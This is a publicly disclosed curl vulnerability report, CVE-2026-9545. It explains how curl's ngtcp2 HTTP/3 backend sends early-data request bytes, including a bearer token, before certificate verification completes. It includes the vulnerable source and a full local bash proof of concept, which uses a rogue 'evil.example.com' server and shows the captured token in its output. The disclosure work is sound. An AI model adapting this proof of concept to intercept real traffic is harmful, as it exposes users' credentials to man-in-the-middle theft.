HexBrain

curl · Report #3752888

CVE-2026-9545: exposing HTTP/3 early data

Validstatus
lowseverity
3upvotes
24 Jun 2026disclosed

How it was found

Summary:

When the ngtcp2 HTTP/3 backend reuses a TLS session that advertises early data support, cf_ngtcp2_on_session_reuse() initializes the HTTP/3 connection state and marks the connection filter as connected before the new QUIC/TLS handshake has completed. The request send path can then reach cf_ngtcp2_send() while peer verification for the new connection is still pending. cf_ngtcp2_send() checks ctx->tls_vrfy_result only at function entry, then can process ingress, open an HTTP/3 stream, buffer request bytes, and flush egress without requiring that the peer has already been verified.

  • cf_ngtcp2_send(): the ngtcp2 send path rejects only a preexisting verification error. It does not require ctx->tls_handshake_complete or a successful peer verification before opening an HTTP/3 stream, buffering request bytes, or flushing egress.

    /* handshake verification failed in callback, do not send anything */
    if(ctx->tls_vrfy_result) {
      result = ctx->tls_vrfy_result;
      goto denied;
    }
    
    (void)eos; /* use for stream EOF and block handling */
    result = cf_progress_ingress(cf, data, &pktx);
    if(result)
      goto out;
    
    if(!stream || stream->id < 0) {
      result = h3_stream_open(cf, data, buf, len, pnwritten);
    }
    ...
    result = Curl_bufq_write(&stream->sendbuf, buf, len, pnwritten);
    ...
    if(*pnwritten > 0 && !ctx->tls_handshake_complete && ctx->use_earlydata)
      ctx->earlydata_skip += *pnwritten;
    
    DEBUGASSERT(!result);
    result = cf_progress_egress(cf, data, &pktx);
    

    https://github.com/curl/curl/blob/f2692b54f74b8bb6058ecd3cf4abcc96e8ab36ba/lib/vquic/curl_ngtcp2.c#L1732-L1824

Affected version

curl 8.21.0-DEV

Steps To Reproduce:

Environment

curl commit: f2692b54f74b8bb6058ecd3cf4abcc96e8ab36ba
curl subject: docs: note CURLOPT_PINNEDPUBLICKEY has no effect on legacy LDAP backend

curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV quictls/3.1.7 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 nghttp2/1.59.0 ngtcp2/1.8.1 nghttp3/1.6.0
Features: alt-svc AsynchDNS brotli Debug HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Largefile libz PSL SSL SSLS-EXPORT threadsafe TLS-SRP UnixSockets zstd

PoC script

The PoC below performs one valid HTTP/3 request to cache an H3 TLS session, restarts the server with a distinct ticket key and an evil.example.com certificate, then performs a second request to https://target.example.com:4433/.

#!/bin/bash
set -euo pipefail

export LD_LIBRARY_PATH="/src/curl-b96/build_poc/lib:/opt/quictls/lib:/opt/ngtcp2/lib:/opt/nghttp3/lib"
export PATH="/opt/ngtcp2/bin:$PATH"

tmp=$(mktemp -d)
curl_bin=/src/curl-b96/build_poc/src/curl
server=/opt/ngtcp2/bin/qtlsserver
url=https://target.example.com:4433/index.html
connect_to=target.example.com:4433:127.0.0.1:4433
secret=REQUEST_SECRET_b96a057fce65e346
server_pid=

cleanup() {
  if [ -n "${server_pid:-}" ]; then
    kill "$server_pid" >/dev/null 2>&1 || true
    wait "$server_pid" >/dev/null 2>&1 || true
  fi
  rm -rf "$tmp"
}
trap cleanup EXIT

make_certs() {
  openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
    -keyout "$tmp/ca-key.pem" -out "$tmp/ca.pem" \
    -days 1 -nodes -subj "/CN=PoC Test CA" >/dev/null 2>&1

  printf 'subjectAltName=DNS:target.example.com\n' > "$tmp/good.ext"
  openssl req -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
    -keyout "$tmp/good-key.pem" -out "$tmp/good.csr" \
    -nodes -subj "/CN=target.example.com" >/dev/null 2>&1
  openssl x509 -req -in "$tmp/good.csr" -CA "$tmp/ca.pem" -CAkey "$tmp/ca-key.pem" \
    -CAcreateserial -out "$tmp/good-cert.pem" -days 1 -extfile "$tmp/good.ext" >/dev/null 2>&1

  printf 'subjectAltName=DNS:evil.example.com\n' > "$tmp/evil.ext"
  openssl req -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
    -keyout "$tmp/evil-key.pem" -out "$tmp/evil.csr" \
    -nodes -subj "/CN=evil.example.com" >/dev/null 2>&1
  openssl x509 -req -in "$tmp/evil.csr" -CA "$tmp/ca.pem" -CAkey "$tmp/ca-key.pem" \
    -CAcreateserial -out "$tmp/evil-cert.pem" -days 1 -extfile "$tmp/evil.ext" >/dev/null 2>&1
}

start_server() {
  local cert=$1 ticket=$2 docroot=$3 log=$4
  mkdir -p "$docroot"
  printf '%s\n' "$cert response" > "$docroot/index.html"
  env TICKET_KEY_FILE="$ticket" "$server" --early-response -d "$docroot" '*' 4433 \
    "$tmp/$cert-key.pem" "$tmp/$cert-cert.pem" > "$log" 2>&1 &
  server_pid=$!
  sleep 1
}

stop_server() {
  kill "$server_pid" >/dev/null 2>&1 || true
  wait "$server_pid" >/dev/null 2>&1 || true
  server_pid=
}

make_certs
head -c 80 /dev/urandom > "$tmp/good.ticket"
head -c 80 /dev/urandom > "$tmp/evil.ticket"

start_server good "$tmp/good.ticket" "$tmp/good-root" "$tmp/good-server.log"
"$curl_bin" --http3-only --tls-earlydata \
  --ssl-sessions "$tmp/sessions.txt" \
  --cacert "$tmp/ca.pem" \
  --connect-to "$connect_to" \
  -sS -o /dev/null "$url"
stop_server

start_server evil "$tmp/evil.ticket" "$tmp/evil-root" "$tmp/evil-server.log"
set +e
"$curl_bin" --http3-only --tls-earlydata \
  --ssl-sessions "$tmp/sessions.txt" \
  --cacert "$tmp/ca.pem" \
  --connect-to "$connect_to" \
  -H "Authorization: Bearer $secret" \
  -d "secret=$secret" \
  -sS -o /dev/null "$url" > "$tmp/evil-client.log" 2>&1
phase2_rc=$?
set -e
stop_server

request_seen=no
verify_failed=no
if grep -qi "authorization: Bearer $secret" "$tmp/evil-server.log"; then
  request_seen=yes
fi
if [ "$phase2_rc" -eq 60 ] &&
   grep -q "no alternative certificate subject name matches target hostname 'target.example.com'" "$tmp/evil-client.log"; then
  verify_failed=yes
fi

grep -i "authorization: Bearer $secret" "$tmp/evil-server.log" | head -1 || true
grep "no alternative certificate subject name matches target hostname 'target.example.com'" "$tmp/evil-client.log" | head -1 || true
echo "TEST_RESULT request_seen=$request_seen verify_failed=$verify_failed curl_exit=$phase2_rc"

test "$request_seen" = yes
test "$verify_failed" = yes

Output

http: stream 0x0 [authorization: Bearer REQUEST_SECRET_b96a057fce65e346]
curl: (60) SSL: no alternative certificate subject name matches target hostname 'target.example.com'
TEST_RESULT request_seen=yes verify_failed=yes curl_exit=60

Again: there is no bug-bounty for curl. We do not offer any rewards, only proper credits.

The initial discovery was made by AI. All technical claims have been reviewed and revised by human experts.

Reporting on behalf of Autonomous Code Security (ACS) team at Microsoft.

Impact

Summary:

A MITM attacker can see the data of the request sent as early data.

Expected to be moderate for affected configurations, with narrow prerequisites. Triggering the issue requires all of the following:

  1. curl/libcurl is built with the ngtcp2 HTTP/3 backend and a TLS backend that supports early data.
  2. The application enables early data for the transfer.
  3. The client has a cached H3 TLS session for the target host that allows early data.
  4. The first request on the new connection contains sensitive request material such as cookies, bearer tokens, or a request body.
  5. An active network attacker can route the new connection to a TLS endpoint that does not validate for the target hostname.
  6. Certificate verification remains enabled.

The demonstrated impact is request disclosure. The PoC does not demonstrate attacker response acceptance: curl returns certificate verification failure and no response body is delivered.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original